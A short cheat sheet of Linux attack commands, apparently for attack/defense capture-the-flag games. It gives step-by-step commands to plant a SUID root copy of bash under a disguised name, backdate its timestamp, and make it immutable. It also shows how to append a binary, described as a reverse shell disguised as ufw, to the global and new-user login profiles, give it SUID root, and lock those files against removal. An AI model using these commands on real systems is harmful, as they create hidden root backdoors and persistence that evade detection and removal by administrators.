Attack/Defense Tricks

 1# Create a copy of Bash as `.kernel` — could be used for stealth or persistence
 2cp /bin/bash /.kernel
 3
 4# Set the SUID bit on `.kernel` — allows execution with root privileges by any user
 5chmod +s /.kernel
 6
 7# Backdate `.kernel` to May 4, 2004 — could help evade detection or appear benign
 8touch -d "2004-05-04 00:00:00" /.kernel
 9
10# Mark `.kernel` as immutable — prevents deletion, renaming, or modifications, even by root
11chattr +i /.kernel

 1# Append a reverse shell (disguised as ufw) to global login profile
 2echo "/usr/bin/ufw &" >> /etc/profile
 3
 4# Ensure the backdoor also applies to any newly created users
 5echo "/usr/bin/ufw &" >> /etc/skel/.profile
 6
 7# Set SUID bit so ufw executes with root privileges
 8chmod +s /usr/bin/ufw
 9
10# Make backdoor and modified profiles immutable (hard to remove, even by root)
11chattr +i /usr/bin/ufw /etc/profile /etc/skel/.profile